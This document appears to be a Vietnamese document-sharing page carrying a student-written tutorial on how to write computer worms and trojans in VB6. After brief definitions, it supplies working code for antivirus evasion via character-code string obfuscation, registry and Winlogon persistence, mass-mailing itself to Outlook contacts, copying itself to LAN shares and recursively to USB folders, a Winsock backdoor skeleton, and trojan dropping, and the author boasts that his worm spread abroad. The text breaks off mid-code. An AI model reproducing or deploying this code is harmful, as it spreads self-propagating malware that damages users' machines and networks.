Một chương trình máy tính được thiết kếdưới dạng một trò chơi khăm, hoặc một sựphá hoại ngầm, có thểtựlây lan bằng cách gắn
vào các chương trình khác và tiến hành các thao tác vô ích, vô nghĩa, đôi khi là thao tác phá hoại. Khi một vi rút nhiễm vào đĩa, nó tự
lây lan bằng cách gắn vào các chương trình khác trong hệthống, kểcảphần mềm hệthống. Giống nhưvi rút ởngười, tác hại của vi
rút máy tính có thểchưa phát hiện được trong thời gian vài ngày hay vài tuần. Trong thời gian đó mọi đĩa đưa vào hệmáy đều mang
theo một bản sao ẩn của vi rút đó - các đĩa này đều bịnhiễm vi rút.
Khi vi rút phát tác, chúng gây ra nhiều hậu quả: từnhững thông báo bậy bạ đến những tác động làm lệch lạc khảnăng thực hiện của
phần mềm hệthống, hoặc xóa sạch mọi thông tin trên đĩa cứng. Không phải bao giờthông báo bậy bạcũng do vi rút gây ra.
15 trang |
Chia sẻ: oanh_nt | Lượt xem: 1497 | Lượt tải: 1
Nội dung tài liệu Virus toàn tập, để tải tài liệu về máy bạn click vào nút DOWNLOAD ở trên
Virus toàn tập
Tác giả : Lê Nguyên Dũng
Lớp 12C1 trường THPT Đăk Nông (Thị xã Gia Nghĩa tỉnh Đăk Nông)
Email : dungcoivb@gmail.com
Nick (Yahoo) : dungcoivb
I. ABC - Định nghĩa :
Rất nhiều tài liệu đã định nghĩa về Virus ở đây Dũng còi sẽ đưa lại phần định nghĩa từ Lạc Việt :
Một chương trình máy tính được thiết kế dưới dạng một trò chơi khăm, hoặc một sự phá hoại ngầm, có thể tự lây lan bằng cách gắn
vào các chương trình khác và tiến hành các thao tác vô ích, vô nghĩa, đôi khi là thao tác phá hoại. Khi một vi rút nhiễm vào đĩa, nó tự
lây lan bằng cách gắn vào các chương trình khác trong hệ thống, kể cả phần mềm hệ thống. Giống như vi rút ở người, tác hại của vi
rút máy tính có thể chưa phát hiện được trong thời gian vài ngày hay vài tuần. Trong thời gian đó mọi đĩa đưa vào hệ máy đều mang
theo một bản sao ẩn của vi rút đó - các đĩa này đều bị nhiễm vi rút.
Khi vi rút phát tác, chúng gây ra nhiều hậu quả : từ những thông báo bậy bạ đến những tác động làm lệch lạc khả năng thực hiện của
phần mềm hệ thống, hoặc xóa sạch mọi thông tin trên đĩa cứng. Không phải bao giờ thông báo bậy bạ cũng do vi rút gây ra.
Okie, thật đơn giản Virus = Một chương trình -> Không phải là một gì đó quá phức tạp hay khó khăn ở đây
để viết một con virus cả (Có rất nhiều người, kể cả Dũng còi trước đây đã nghĩ ngược lại).
II. Phân tích :
Nên phân biệt cho rõ virus, worm, trojan, adware ... nhé các bạn
Bạn nên chú ý phân biệt từ virus (Nói chung) là bao gồm cả worm, Trojan... với virus (Nói riêng) là tên cụ
thể của một con virus.
Virus: Là một chương trình đúng như định nghĩa về virus (Nói chung), tuy nhiên nó hoạt động chủ yếu là
lây nhiễm trực tiếp vào file đối tượng.
Ví dụ :
Cụ thể là chèn bản thân nó vào file .exe với những vị trí thích hợp (Các virus thông thường chèn vào cuối
file sau đó thêm một vài lệnh ở đoạn Byte đầu file để thực hiện lệnh “Nhảy” từ đoạn mã này tới đoạn code
virus)
Một vài con virus Dũng còi đã nhận thấy việc nó chèn toàn bộ nó vào đoạn đầu của chương trình (Chương
trình gốc sẽ ở phía sau đoạn Byte này). Nó cũng tự động sửa đổi Icon sao cho giống file gốc.
Làm việc :
Phần lớn virus chỉ làm việc khi bị kích hoạt vào file đã bị lây nhiễm (Tiếp tục thao tác lây nhiễm) sau đó sẽ
trả lại quyền làm việc lại cho chương trình ban đầu)
Tuy nhiên, cũng theo Dũng còi nhận thấy, có một vài (Không nhiều) đã tự động “Tách tốp” thành một file
riêng rồi làm việc ở chế độ thường trực (Loại này đã “Lai” với worm)
Tác hại :
Trong tất cả các loại virus (nói chung) thì Dũng còi ớn thằng này nhất vì nếu mấy loại kia
(Worm,Trojan...) còn để mà diệt chứ còn loại này thì phải “Mổ” file “Dính chưởng” sau đó thực hiện việc
tách các đọan Byte riêng biệt mới cứu được phần data bị nhiễm (Nếu con virus nó mà mã hóa phần này thì
pó tay)
Rõ ràng ấy việc mà cái loại này gây ra sẽ chiếm dung lượng không nhỏ của ổ đĩa nơi lưu trữ chúng (Thông
thường khi 1 PC nhiễm Virus thì kéo theo sẽ có rất nhiều file trong đó bị lây lan)
Qúa trình thực thi file (Khi file đó bị nhiễm) sẽ chậm hơn bình thường (Khó nhận ra cái này lắm)
Nhiều thằng lập trình viên nó ngồi code ẩu, làm mất một vài byte của file gốc hay lẫn lộn cái chi đó => Dữ
liệu ban đầu coi như hư sạch (Ít xảy ra nhưng vẫn có)
Worm : Okie, phải thỏa định nghĩa ban đầu và kèm đó là thao tác lây nhiễm qua các thứ khác mà không
cần các file “Mồi” như loại virus (Nói riêng). Thông thường các worm lây truyền qua Email, IM (Nói chung
là qua Internet), qua các ổ đĩa lưu động (Đĩa mềm đĩa USB...)
Đây chính là loại virus (Nói chung) nhiều nhất.
Làm việc :
Không có chi hiểu hay phức tạp ở loại này cả. Một con Worm có các “Công việc” cơ bản sau (Các công việc
mà hầu như con sâu nào cũng phải làm)
1. Tự sao chép vào các thư mục của hệ thống (Worm muốn “Sống lâu” luôn luôn làm thao tác này)
2. Ghi thông tin khởi động vào hệ thống (Ghi thông tin vào hệ thống để khi hệ thống khởi động vào lần
sau thì vẫn còn được “Làm việc”) : Thao tác này thông thường là ghi một Key trong Regedit, tạo một file
đặc biệt với cấu trúc có sẵn (Sẽ nêu rõ ở phần sau), hay là tự sao chép vào những vị trí đặc biệt mà hệ
điều hành sẽ tự load nó khi khởi động (Có không nhiều file có “Vinh dự” được hệ điều hành load khi khởi
động)
3. Thao tác lây truyền : Công việc này thông thường là worm “Nằm chờ” khi thỏa điều kiện nào đó sẽ tiến
hành lây lan (Như việc khi nào thấy có ổ đĩa USB là “Lây”).
Còn sau đây là một số công việc mà một số worm vẫn làm (Dù không nhiều lắm) :
1. KeyLog : Ok, ghi lại bàn phím (Uí chà, không hề khó với mức đơn giản đâu)
2. BackDoor (Mở cử hậu) : Dù cái này “Cổ lỗ sĩ” lắm rồi nhưng vẫn còn đó.
3. Bom hẹn giờ : Một số lập trình dziên dzui tính, cứ tới “Ngày lành tháng tốt” hay “Giờ lành” là cho con
worm “Làm dziệc”. (Nguyên tắc “Bom hẹn giờ”)
4. Bát nháo một chút nào : Một chút “Tưng tưng” cho “Vui nhà vui cửa” đó là những gì mà mấy lập trình
dziên dzui tính (Như Dũng còi) hay làm với con worm của mình.
Tác hại :
Ngốn RAM hệ thống : Luôn luôn
Ngốn đường truyền net (Nếu con worm đó “Sài” net)
Trojan : Okie, thỏa mãn định nghĩa virus nè, cộng thêm phần này nữa. Nó không tự lây lan mà nó ẩn
trong một chương trình có ích hay là một cái gì đó “Hay hay”, tuy nhiên trong đó lại chứa một cái gì đó
“Hổng có hay”
Nên nhớ Trojan khác với virus, bởi vì Trojan là bản thân chương trình ban đầu là “Có vấn đề” còn virus thì
cái ban đầu “Vô tội” (File nạn nhân ban đầu hoàn toàn không dính gì đến virus)
Làm việc :
Trojan thông thường có 2 cách làm việc :
1. Thực hiện trực tiếp các công việc “Bất chính” khi bạn kích hoạt nó.
2. Tự động “Thả” một con “Nằm vùng” trong PC của bạn sau đó kích hoạt con này (Đây là cách thường
thấy). Cái đằng sau này mới “Làm việc” nè.
Công việc thường thấy của Trojan là mở của hậu (Backdoor : Nói cho dễ hiểu là mở một cổng để chờ tín
hiệu từ server, hoặc kết nối trực tiếp với server của người điều khiển).
Tuy nhiên nói là vậy thui chứ thể loại này thì ta làm gì mà chẳng được (Thả worm, adware, spyware...) vô
tư đi em.
Tác hại :
Có một điều trớ trêu là Trojan thường chính là mấy cái soft dành cho bọn tự gọi mình là “Hacker” (Hổng
biết có phải dzậy không nữa, vì mấy cái soft này thì theo Dũng còi “Kiểm định” thì phần đông đều là
Trojan). Một số khác là các phần mềm Free (Ui chao đau đớn làm sao).
III. Viết thử coi nhá :
(Trong giới hạn của mình, Dũng chỉ có thể hướng dẫn về Worm và Trojan)
Chà viết virus có dễ không nhỉ ?
Uí chà, dễ òm. Không tin à, nhìn thử coi.
1. Bảo mật dữ liệu dạng String :
Như Dũng còi đã từng phân tích, việc để “Lòi” ra dữ liệu dạng này là một khiếm khuyến của một số phần
mềm (Dũng còi đã từng lấy thành công PassWord của data (Làm bằng Access) của một phần mềm khá độ
sộ (Quên tên mất tiêu rùi) chỉ bằng cách sài Notepad truy tìm các hàm truy vấn SQL trong chuỗi Byte)
Với một con virus (Nói chung) nếu để lộ ra các đoạn string này thì đúng là một thảm họa (Các AV sẽ ngay
lập tức “Túm cổ” nó khi phân tích, người dùng sẽ dễ dàng làm “Thịt” virus của bạn).
Vậy “Anh phải làm sao ? “ (Nhạc Đan Trường hay ra phết nha hì hì)
Đơn giản thay vì chúng ta giữ nguyên cả chuỗi String trong chương trình thì chúng ta sẽ phân tích từng
Byte trong chuỗi đó theo một nguyên tắc nhất định sau đó “Ráp lại” :
Ví dụ : Dùng cách quy đổi ra theo bảng mã Ascii :
“DungCoi”= Chr(68)+Chr(117)+Chr(110)+Chr(103)+Chr(67)+Chr(111)+Chr(105)
Đoạn code để phân tích ra từng Byte rất đơn giản bằng hàm Chr (Nếu nhác quá thì tải Source RealWorm
sau đó vô thư mục Soft mà tìm cái Ascii Dũng đã viết sẵn)
2. Tạo key khởi động :
Các bạn nên chú ý với phương pháp ghi key bằng kiểu
Set reg = CreateObject("WScript.Shell")
reg.regwrite "HKEY_LOCAL_MAHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start", App.Path + "\" + App.EXEName +
".exe"
Sẽ bị gần như tất cả các AV phát hiện -> Dù đơn giản như không nên sài
Phần này Dũng sẽ trích lại từ một bài viết trước đây :
‘=========================================
I.1. Khởi động hợp pháp :
- Khởi động theo cách “Chính quy”. Có nghĩa là nó hoàn toàn “Hợp pháp” theo chuẩn mực của một phần mềm
thông thường (Cách này worm,Trojan cũng thường sài )
Có 3 phương thức như sau :
I.1.a Ghi Key trong Regedit theo các địa chỉ sau :
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Code :
Module :
Option Explicit
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal
lpSubKey As String, phkResult As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal
lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As
Long) As Long
Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long,
ByVal lpValueName As String) As Long
Public Const REG_SZ = 1 ' Unicode nul terminated string
Public Const REG_BINARY = 3 ' Free form binary
Public Const HKEY_CURRENT_USER = &H80000001
Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String)
Dim Ret
RegCreateKey hKey, strPath, Ret
RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData)
RegCloseKey Ret
End Sub
Sub DelSetting(hKey As Long, strPath As String, strValue As String)
Dim Ret
RegCreateKey hKey, strPath, Ret
RegDeleteValue Ret, strValue
RegCloseKey Ret
End Sub
Form :
Dim AppVirus As String
Private Sub Form_Load()
If Len(App.Path) 3 Then
AppVirus = App.Path + "\" + App.exename + (“.exe”)
Else
AppVirus = App.Path + App.exename + (“.exe”)
End If
SaveString HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", "DungCoi",
AppVirus
‘ DelSetting HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", "DungCoi" ‘Thao
tác xóa Key
End Sub
‘Chú ý : Phần DungCoi ở đây là Tên Key
‘ Phần AppVirus là đường dẫn File của bạn
I.1.b Phương pháp sử dụng thư mục khởi động :
C:\Documents and Settings\DungCoi\Start Menu\Programs\Startup
DungCoi = Tên sử dụng trong hệ thống
I.1.c Phương pháp sử dụng các tập tin đặc biệt :
Có một số tập tin mà khi ghi thông tin với 1 cấu trúc nhất định thì nó sẽ khởi động chương trình chúng ta
mong muốn khi khởi động hệ thống như (Win.ini System.ini)
Thui cái này lên quantrimang.com mà đọc
I.1. Khởi động bất hợp pháp :
- Việc nó không theo các “Quy định” từ trước khiến nó ít người phát hiện ra và thậm chí cả MSCONFIG
cũng ko thể nhận ra.
- Tuy nhiên, cần chú ý là nếu các bạn chưa hiểu hết công việc của các Key trong phần này thì ko nên đụng
tới (Nếu ẩu có thể làm hệ điều hành khởi động không được)
- À, cần nhắc thêm. Do đây là những phương pháp tác động sâu vào hệ thống nên rất nguy hiểm nếu
không hiểu hết bản chất của chúng.
Sửa đổi Key trong Regedit :
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
Code : (Code mẫu với Key Userinit)
Ban chú ý là phương pháp này cho phép chương trình của chúng ta được khởi động ngay trong chế độ Safe Mode (Rất đáng nể đấy)
Module :
Option Explicit
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function RegCreateKey Lib "advapi32.dll" _
Alias "RegCreateKeyA" ( _
ByVal hKey As Long, _
ByVal lpSubKey As String, _
phkResult As Long) As Long
Declare Function RegSetValueEx Lib "advapi32.dll" _
Alias "RegSetValueExA" ( _
ByVal hKey As Long, _
ByVal lpValueName As String, _
ByVal Reserved As Long, _
ByVal dwType As Long, _
lpData As Any, _
ByVal cbData As Long) As Long
Public Const REG_SZ = 1
Public Const REG_BINARY = 3
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String)
Dim Ret
RegCreateKey hKey, strPath, Ret
RegSetValueEx Ret, strValue, 0, REG_SZ, ByVal strData, Len(strData)
RegCloseKey Ret
End Sub
Form :
Dim AppVirus As String
Dim PathExp As String
Private Sub Form_Load()
PathExp = “C:\Windows\explorer.exe”
If Len(App.Path) 3 Then
AppVirus = App.Path + "\" + App.exename + (“.exe”)
Else
AppVirus = App.Path + App.exename + (“.exe”)
End If
Shell PathExp
SaveString HKEY_LOCAL_MACHINE, “SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon”,
“Userinit”, AppVirus
End Sub
‘Phần AppVirus là đường dẫn File của bạn
‘Câu lệnh Shell PathExp là rất cần thiết (Không tin xóa nó và chạy thử đi)
Chú ý : Đoạn code chỉ có giá trị khi chương trình đã biên dịch (Tuyệt đối không chạy thử khi chưa biên dịch,
phải biên dịch ra rồi mới được chạy thử)
Muốn thấy hiệu quả thì cứ chạy File đã biên dịch ấy, rồi khởi động lại thấy kết quả liền.
Với kỹ thuật này thì chương trình của chúng ta sẽ được khởi động ngay cả trong Safe Mode.
3. Lây nhiễm :
Yeah, đây là một trong những thao tác đòi hỏi rất nhiều “Sáng tạo” đó nha.
a. Email nhé :
Nguyên tắc cơ bản đó là sử dụng OE (Outlook Explorer) có sẵn và các thông tin từ OE để khai thác và gửi
email tới đối tượng kế tiếp. Tuy nhiên các này khá là lâu đời nên hiện nay không còn mấy ai sài cả (Cứ
tham khảo như vui nhé)
Dim AppVirus As String
If Len(App.Path) 3 Then
AppVirus = App.Path + "\" + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101))
Else
AppVirus = App.Path + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101))
End If
Set go = CreateObject(fgo)
Set St = CreateObject(Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107) +
Chr(46) + Chr(65) + Chr(112) + Chr(112) + Chr(108) + Chr(105) + Chr(99) + Chr(97) + Chr(116) +
Chr(105) + Chr(111) + Chr(110))
Set out = Wscript.CreateObject(Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) +
Chr(107) + Chr(46) + Chr(65) + Chr(112) + Chr(112) + Chr(108) + Chr(105) + Chr(99) + Chr(97) +
Chr(116) + Chr(105) + Chr(111) + Chr(110))
‘Các bạn chú ý : Tất cả các dữ liệu ở dạng String ở trên đều được Dũng còi qua ra mã Ascii để trách
AV dễ dàng phát hiện
Set MAPI = out.GetNameSpace(Chr(77) + Chr(65) + Chr(80) + Chr(73))
Set a = MAPI.AddressLists(1)
For X = 1 To a.AddressEntries.Count
Set Mail = St.CreateItem(0)
Mail.To = St.GetNameSpace(Chr(77) + Chr(65) + Chr(80) + Chr(73)).AddressLists(1).AddressEntries(X)
Mail.Subject = “Tên nội dung Mail” ‘Ví dụ : Anh Dũng còi đẹp giai nhức làng
Mail.Body = “Nội dung email” ‘Ví dụ : Coi hình người iu Dũng còi nè
Mail.Attachments.Add = AppVirus ‘Đây là phần file đính kèm
Mail.Send
Next
St.Quit
b. LAN tại sao không ?
Lây truyền trong mạng LAN về cơ bản gồm 2 thao tác :
1. Xác định các thư mục trong chế độ Share full (Cho phép sửa đổi)
2. Thực hiện thao tác Copy
Trong bước 2 thì không có gì đáng nói (FileCopy).
Cái khó là ở thao tác thứ nhất, trong quá trình “Nghiên kíu” Dũng còi đã tìm ra 3 phương thức cơ bản
1. Sài hàm API để xác định thư mục Share
2. Sài một công cụ trung gian của Windows là mấy cái lệnh hỗ trợ sẵn của hệ điều hành.
3. Dùng cách đọc loạt key trong regedit
Cách số 1 khó quá, Dũng còi chỉ biết là có thể chứ làm ứ ra
Dũng còi chỉ có thể trình bày 2 cách sau :
1. Command :
Nguyên tắc của cách này là kêu hệ điều hành làm theo cái lệnh kia (Tìm và ghi các đường dẫn thư mục
Share Full vào 1 tập tin). Sau đó tiến hành đọc tập tin này và thực hiện thao tác copy.
Dim AppVirus As String
If Len(App.Path) 3 Then
AppVirus = App.Path + "\" + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101))
Else
AppVirus = App.Path + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101))
End If
Dim ishell
Set ishell = CreateObject("wscript.shell")
ishell.run "%comspec% /C net view > C:\plog.tmp", 0, True
Set fso = CreateObject("scripting.filesystemobject")
Set rd = fso.opentextfile("C:\plog.tmp")
nbuff = 0
Do While rd.AtEndOfStream True
nbuff = rd.readline
If Left(nbuff, 2) = "\\" Then
ishell.run "%comspec% /C net view " & Trim(Left(nbuff, 21)) & " > C:\clog.tmp", 0, True
Set rdd = fso.opentextfile("C:\clog.tmp")
buff = ""
Do While rdd.AtEndOfStream True
buff = rdd.readline
combuff = Right(Trim(buff), 4)
If Right(combuff, 4) = "Disk" Then
buffadd = Left(buff, 13)
If Len(Trim(buffadd)) > 0 Then
sharename = a & Trim(Left(nbuff, 21)) & "\" & Trim(buffadd) & a
FileCopy AppVirus, sharename & "\" & appl & ".exe"
End If
End If
Loop
End If
Loop
Chú ý : Hầu hết các AV đã chặn cách này, tuy nhiên cách này làm việc rất tuyệt vời (Liệt kê khá hoàn
hảo)
2. Regedit :
Nguyên tắc cách này là thực hiện thao tác đọc hàng loạt Key trong Regedit (Các thông số do hệ điều hành
tự ghi nhận từ trước)
Dim AppVirus As String
If Len(App.Path) 3 Then
AppVirus = App.Path + "\" + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101))
Else
AppVirus = App.Path + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101))
End If
Const HKCU = &H80000001
Dim ObjFS
Set ObjFS = CreateObject("Scripting.FileSystemObject")
Set ObjReg = GetObject("winmgmts:\\.\root\" & _
"Default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows\" & _
"CurrentVersion\Explorer\WorkgroupCrawler\Shares"
ObjReg.EnumKey HKCU, strKeyPath, arrSubKeys
For Each subkey In arrSubKeys
ObjFS.CopyFile AppVirus,"\\" & subKey & "/dungcoi.exe" , True ‘Có thể dùng hàm FileCopy thay
cho việc dùng hàm này
Next
Chú ý : Cách này liệt kê không tốt bằng cách ở trên nhưng hầu hết các AV không chặn lại.
c. USB = Mốt :
Flashy là con worm lây lan mạnh nhất Việt Nam trong tháng 1/2007 vậy mà cũng chỉ có vỏn vẹn một tính
năng này và tính năng ghi một Key trong Regedit mà thui (Hic hic, do sinh sau đẻ muộn và cũng do Dũng
còi không muốn phát tán nên con RealWorm (Với trên do mấy ông Bkis cập nhật là DakNong) chỉ xếp vị trí
thứ 8 hà buồn thiệt nha híc híc)
Con worm dungcoi do vô tình để “Xổng chuồng” (Hồi đó là do tai nạn mà để nó lọt ra ngoài). Mà giờ nó lây
tuốt luốt bên Campuchia (Phải tốn 2 tuần để kiểm định thông tin này đó), còn ở trong nước thì hổng rõ nó
đi tới đâu ùi.
Dù nó lợi hại là vậy nhưng thực ra tính năng này rất đơn giản và dễ làm.
Hồi trước khi nghiên cứu tính năng này Dũng còi đã chia ra các công việc sau :
1. Tìm ổ đĩa USB (Xem có tồn tại không)
- Liệt kê tất cả ổ đĩa
- Kiểm tra xem trong các ổ đĩa đó, ổ đĩa nào là đĩa giao tiếp qua USB (Loại đĩa rời và khác đĩa mềm)
2. Tìm toàn bộ thư mục (Lây vô hết luôn cho vui)
3. FileCopy (Qúa đơn giản)
Bạn nơi chú ý cách rằng cách thức Dũng còi sử dụng ở đây là tạo các bản worm với các tên khác nằm
trong các thư mục khác nhau có tên trùng với thư mục tương ứng.
‘Code boi Dung Coi
‘Email : dungcoivb@gmail.com
Private Sub Form_Load()
Dim AppVirus As String
If Len(App.Path) 3 Then
AppVirus = App.Path + "\" + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101))
Else
AppVirus = App.Path + App.exename + (Chr(46) + Chr(101) + Chr(120) + Chr(101))
End If
Dim d, dc
Dim fso, cf
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.Drives
For Each d In dc
If (d.DriveType = 1) And (UCase(Left(d, 1)) "A") Then
Set cf = fso.GetFolder(d).subfolders
For Each fil In cf
If TonTai(fil.Path & "\" & fil.Name & (Chr(46) + Chr(101) + Chr(120) + Chr(101))) =
False Then FileCopy AppVirus, fil.Path & "\" & fil.Name & (Chr(46) + Chr(101) + Chr(120) +
Chr(101))
TimThuMuc (fil.Path)
Next
End If
Next
End Sub
‘=====================================
Private Sub TimThuMuc(ThuMuc As String)
‘Thao tác tìm thư mục
Dim fso, cf, fil, ext
Set fso = CreateObject((Chr(83) + Chr(99) + Chr(114) + Chr(105) + Chr(112) + Chr(116) +
Chr(105) + Chr(110) + Chr(103) + Chr(46) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(83) +
Chr(121) + Chr(115) + Chr(116) + Chr(101) + Chr(109) + Chr(79) + Chr(98) + Chr(106) + Chr(101) +
Chr(99) + Chr(116)))
'Scripting.FileSystemObject
Set cf = fso.GetFolder(ThuMuc).subfolders
For Each fil In cf
FileCopy AppVirus, fil.Path & "\" & fil.Name & (Chr(46) + Chr(101) + Chr(120) + Chr(101))
TimThuMuc (fil.Path)
Next
End Sub
‘=====================================
Private Function TonTai(filename) As Boolean
‘Kiểm tra sự tồn tại của File
On Error GoTo ErrorHandler
TonTai = (Dir(filename) "")
Exit Function
ErrorHandler:
TonTai = False
End Function
d. BackDoor (Mở cửa hậu):
Chán chết, đang ngồi “Mổ cò” thì PC nó “Sinh sự” làm mất luôn phần bài viết về BackDoor nên ứ them gõ
lại nữa mệt quá, nói sơ qua phần này thui :
BackDoor : Kỹ thuật mở cổng hoặc kết nối trực tiếp tới một PC khác, sau đó từ Server đó sẽ có quyền làm
mọi thứ trên PC nạn nhân (Victim). Như vậy về cơ bản ở đây là sự kết nối giữa 2 PC với nhau.
Phần đông kỹ thuật này chỉ được dùng ở Trojan chứ ít có ở worm vì các lý do sau (Do Dũng còi suy nghĩ
thui nha) :
- Việc kết nối 2 PC thông thường sài 1 Control trung gian, hoặc nếu tự viết cái đó thì sẽ ngốn dung lượng
worm rất lớn. Cả 2 điều này đều trái với nguyên tắc viết worm thông thường (Phải sử dụng thêm 1 Control
làm tăng khả năng phát sinh lỗi thiếu thư viện, dung lượng cao tức là kém linh hoạt)
- Số lượng worm có thể quá lớn để từ 1 server mà thằng cha viết con worm ngồi “Nghiên kíu” cho hết.
- Việc sử dụng kỹ thuật này rất nguy hiểm cho worm (sẽ bị các FireWall phát hiện và chặn lại ngay).. Như
vậy hoàn toàn không thích thú gì cho lập trình viên viết ra nó (Worm).
- Thế mạnh của Trojan là có thể đáng “Trúng mục tiêu” nhất định (Trojan không lây lan à nha).
Trong bài viết này Dũng còi chỉ hướng dẫn cơ bản về cách kết nối 2 PC (Nếu bạn muốn nghiên cứu kỹ hơn
thì có thể lên www.quantrimang.com để đọc một bài viết rất hay về chủ đề này) :
Nguyên tắc :
Vấn đề trong bài này sẽ giúp bạn giải quyết đó là việc kết nối 2 PC với nhau bằng cách dùng Winsock.
Việc này rất đơn giản, bạn chỉ cần tạo 2 Control Winsock tại 2 phần Clinet-Server (Máy khác-Máy chủ) và
làm cho chúng có thể liên lạc với nhau.
Thực hiện :
Bước 1 : Tạo một dự án mới
Trong bước này bạn ấn chọn Standard EXE
Bước 2 : Thêm Control Winsock
Để thực hiện thao tác này bạn chọn theo thực đơn Project ->
Components... (Hoặc nhắn tổ hợp phím Ctrl+T )
Sau khi hiển thị hộp thoại bạn chịn Tab Controls (Mặc định đã là Tab này), bạn tìm tên Microsoft
Winsock Control 6.0 và đánh dấu chọn rồi nhấn chọn OK.
Bước 3 :
Hãy vẽ các Control theo hình sau (Không cần phải thay đổi thuộc tính Name)
Bước 4 :
Nhập mã lệnh cho chương trình
Trong cử sổ lệnh bạn nhập đoạn code sau :
Private Sub Command1_Click()
Winsock2.Close
‘Đóng tất cả kết nối hiện tại của Winsock (Nếu có)
Winsock2.Connect “127.0.0.1”, 1234
‘Kết nối tới số IP 127.0.0.1 với cổng là 1234
End Sub
Private Sub Command2_Click()
Winsock2.SendData Text1.Text
‘Gửi gói dữ liệu với nội dung của TextBox
End Sub
Private Sub Form_Load()
Winsock1.LocalPort = 1234
‘Cổng nhận dữ liệu
Winsock1.Listen
‘Bắt đầu đọc dữ liệu từ cổng đã xác lập ở trên
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requested As Long)
‘Biến cố ghi nhận kết nối
Winsock1.Close
‘Đóng các kết nối
Winsock1.Accept requested
‘Chấp nhận kết nối với nơi gửi lệnh kết nối
MsgBox “Da ket noi thanh cong”
‘Thông báo đã hoàn thành kết nối
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
‘Biến cố ghi nhận dữ liệu
Dim data As String
‘Khai báo biến lưu trữ gói tin nhận được
Winsock1.GetData data
‘Ghi dữ liệu nhận được vào biến
MsgBox data
‘Thông báo gói dữ liệu
End Sub
e. Kỹ thuật chèn Trojan :
Như đã định nghĩa về Trojan, trong 2 kỹ thuật “Thả “ những thứ đen tối của Trojan thì có kỹ thuật 2 là kỹ
thuật đáng nói (Kỹ thuật 1 thì khỏi cần nói rồi).
Kỹ thuật này là kỹ thuật trích xuất Trojan từ soft
Về cơ bản có 3 cách làm như sau :
1. Tải chương trình muốn kích hoạt chạy từ một URL sau đó kích hoạt chúng
2. Chèn file đó vào cuối chương trình, sau đó thao tác xử lý file
3. Tiến hành “Nhốt” Trojan vào Resource (Với VB6). Sau đó trích xuất chúng ra.
Trong các cách trên thì có kỹ thuật thứ 3 là kỹ thuật đơn giản nhất nên Dũng còi sẽ hướng dẫn kỹ thuật
này (Chỉ áp dụng cho ứng dụng bạn viết thui nha) :
1. Tạo một Resource chứa trojan
2. Tạo Module chứa đoạn code sau :
Public Enum AppResource
appresBLANK_MDB = 101
appresMY_DAUGHTER = 102
appresNT_LOGON_SOUND = 103
appresMY_WIFE = 104
End Enum
'------------------------------------------------------------
' Author: Clint M. LaFever [lafeverc@saic.com]
' Purpose: Extracts a file from the resource file and save
' the file to the destination passed in.
' Date: October,
Các file đính kèm theo tài liệu này:
- virus_toan_tap_dung_coi.pdf